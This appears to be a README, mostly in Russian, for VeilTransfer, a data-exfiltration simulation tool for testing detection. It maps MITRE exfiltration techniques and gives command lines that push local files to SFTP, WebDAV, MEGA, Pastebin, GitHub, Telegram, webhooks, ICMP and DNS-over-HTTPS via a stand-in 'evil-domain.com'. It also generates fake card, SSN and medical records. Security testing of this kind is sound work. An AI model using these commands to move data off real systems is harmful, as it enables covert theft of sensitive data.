
VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.
VeilTransfer — это утилита для эксфильтрации данных, предназначенная для проверки и повышения эффективности средств обнаружения. Этот инструмент имитирует реальные методы эксфильтрации данных, используемые опытными злоумышленниками, позволяя организациям оценивать и улучшать свою защиту. Используя множество методов эксфильтрации, таких как MEGA, GitHub, SFTP, WebDAV и другие, VeilTransfer помогает выявить пробелы в вашей обороне и гарантирует, что ваши решения безопасности готовы противостоять современным утечкам данных.
| ID | Техники |
|---|---|
| T1029 | Scheduled Transfer |
| T1020 | Automated Exfiltration |
| T1132.001 | Data Encoding: Standard Encoding |
| T1560.002 | Archive Collected Data: Archive via Library |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
| T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
VeilTransfer также поддерживает генерацию фейковых данных, включая:
Легко создавайте ZIP-архивы для объединения и сжатия данных; их можно использовать для эксфильтрации или тестирования различных сценариев. Поддерживается необязательное разбиение на несколько файлов в зависимости от размера.
В этом примере показано, как безопасно передать файл на удалённый сервер с помощью протокола SFTP. Файл находится на локальной машине и передаётся в указанную удалённую директорию с использованием SSH-аутентификации.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
В этом примере файлы из локальной директории загружаются на сервер WebDAV. Для аутентификации сервер требует имя пользователя и пароль. Параметр сервера включает схему URI (https:// или http://).
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
В этом примере показано, как передавать файлы в облачное хранилище Mega Cloud. Файлы загружаются из указанной локальной директории, а аутентификация выполняется с использованием учётных данных пользователя Mega Cloud.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
В этом примере файл загружается на FTP-сервер. Файл передаётся в указанную директорию на удалённом сервере. Для аутентификации сервер требует имя пользователя и пароль.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
В этом примере показано, как загрузить содержимое файла на Pastebin. Содержимое публикуется на Pastebin с использованием API-ключа, предоставленного пользователем.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
В этом примере показано, как отправить файл с локальной машины в конкретный репозиторий GitHub. Файл добавляется в репозиторий с использованием API-токена GitHub пользователя для аутентификации.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
В этом примере показано, как отправить файл в конкретный Telegram-канал. Файл отправляется с использованием API-токена Telegram-бота, а сообщение доставляется в указанный ID канала.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
В этом примере содержимое файла отправляется на указанный Webhook URL.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
Чтобы создать защищённый механизм эксфильтрации данных с использованием DNS over HTTPS (DoH), необходимо настроить следующие DNS-записи:
A-запись: Укажите test на IP-адрес <VeilTransfer_IP_Address>.
test -> <VeilTransfer_IP_Address>
NS-запись: Определите поддомен (exfil), управляемый доменом evil-domain.com.
exfil -> test.evil-domain.com
Домен exfil.evil-domain.com будет использоваться в качестве DNS Exfil-домена.
Затем запустите сервер VeilTransfer в режиме DoH следующей командой:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
Примечание: длина ключа шифрования (-key) должна составлять 16 или 32 символа.
Чтобы загружать файлы через DoH, убедитесь, что сервер VeilTransfer активно работает в режиме DoH с действительным ключом шифрования. Затем запустите передачу с помощью клиентской команды:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
Чтобы запустить сервер VeilTransfer в режиме QUIC, используйте следующую команду:
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
После запуска сервера вы можете загружать файлы или директории с помощью:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
Чтобы включить передачу файлов по протоколу ICMP, запустите сервер VeilTransfer в режиме ICMP, выполнив следующую команду:
veiltransfer_server_linux icmp -folder /path/folder
Когда сервер активен, выполните следующую команду для передачи файлов или директорий через ICMP:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
Создаёт ZIP-архив из указанной директории.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
Создаёт ZIP-архив, разделённый на несколько частей в зависимости от указанного размера.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
В этом примере показано, как сгенерировать 100 записей фейковых данных кредитных карт. Сгенерированные данные будут включать номера карт, сроки действия и связанные сведения.
veiltransfer_client generate-fake -ccn -count 100
В этом примере показано, как сгенерировать 50 записей фейковых данных KTP — индонезийских удостоверений личности. Данные включают личную информацию, такую как имя, адрес и номер KTP.
veiltransfer_client generate-fake -ktp -count 50
Сгенерированные данные включают номера социального страхования, отформатированные в соответствии со стандартами США.
veiltransfer_client generate-fake -ssn -count 200
В этом примере показано, как сгенерировать 300 фейковых медицинских записей на английском языке.
veiltransfer_client generate-fake -medical-record -count 300 -language en
Вклад в развитие VeilTransfer приветствуется! Если у вас есть идеи для новых функций, методов эксфильтрации или улучшений, отправьте pull request или откройте issue на GitHub.